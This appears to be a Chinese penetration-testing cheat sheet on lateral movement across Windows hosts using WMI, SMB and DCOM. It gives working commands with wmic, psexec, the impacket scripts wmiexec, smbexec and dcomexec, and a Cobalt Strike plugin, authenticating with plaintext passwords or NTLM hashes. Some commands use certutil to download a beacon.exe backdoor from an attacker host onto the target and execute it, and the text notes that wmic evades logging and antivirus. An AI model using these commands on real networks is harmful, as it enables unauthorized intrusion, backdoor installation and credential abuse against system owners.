2012R2以上默认关闭了Wdigest,无法通过内存获取明文密码

三种方法不需要明文密码,hash也可以

WMI

windows管理规范,2003之后存在,支持用户名明文/hash认证,不会在系统日志留痕

条件

WMI 服务开启,135 端口开启

防火墙允许135、445

知道目标机器密码/hashs

利用方法

//192.168.159.136为横向目标主机 IP

1、wmic (回显不提示是否成功,需明文)

wmic 为内置命令,不会被杀

shell wmic /node:"192.168.159.136" /user:"win-3j3bdtqnp64\administrator" /password:"admin@123" process call create "certutil.exe -urlcache -split -f \"http://192.168.159.148:80/beacon.exe\" c:\beacon.exe"//访问3.31下载后门文件beacon.exe

shell wmic /node:"192.168.159.136" /user:"win-3j3bdtqnp64\administrator" /password:"admin@123" process call create "c:\beacon.exe"//执行 beacon.exe 上线

//win-3j3bdtqnp64\administrator 解释:先查询是否存在 win-3j3bdtqnp64 域,不存在,当作是计算机名

2、impacket-wmiexec.py(可hash)

需要搭建 socks 节点

下载后门:

python wmiexec.py sqlserver/administrator:admin!@#45@192.168.159.136 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"

执行后门:

python wmiexec.py sqlserver/administrator:admin!@#45@192.168.159.136 "c:/beacon.exe"

SMB

SMB 是一种网络文件共享协议,常用于局域网内文件,打印机等资源的共享

条件

1、文件与打印机服务开启,默认开启

2、防火墙允许135、445等端口通信

3、知道目标机的账户密码或HASH

利用方法

1、psexec(不推荐)

psexec \\192.168.3.32 -u administrator -p admin!@#45 -s cmd

2、 impacket - smbexec.exe

创建 socks 节点使用

python smbexec.py sqlserver/administrator:admin!@#45@192.168.3.32

python smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c sqlserver/administrator@192.168.3.32

3、cs 官方插件(首推)

cs-psexec

1、在被控主机上端口扫描

2、点击小电脑,找到横向目标主机

4、提前创建 beacon tcp 监听器

3、右键 -> 横向移动 -> psexec -> 选择合适的账号密码 -> 选择 beacon tcp -> 选择能连接到目标主机的被控主机

4、上线

DOCM

DCOM 分布式组件对象模型,用于不同计算机上软件组件之间的通信,支持 RPC

建立在powershell之上,win7之后才能用

条件

1、适用目标Win7系统以上

2、管理员权限PowerShell

3、远程主机防火墙未阻止

利用方法

dcomexec-impacket

python dcomexec.py sqlserver/administrator:admin!@#45@192.168.3.32

python dcomexec.py sqlserver/administrator:admin!@#45@192.168.3.32 whoami

python dcomexec.py sqlserver/administrator:@192.168.3.32 whoami -hashes :518b98ad4178a53695dc997aa02d455c

参考

https://mp.weixin.qq.com/s/9u0kprGbaU1S1BEQWj18AA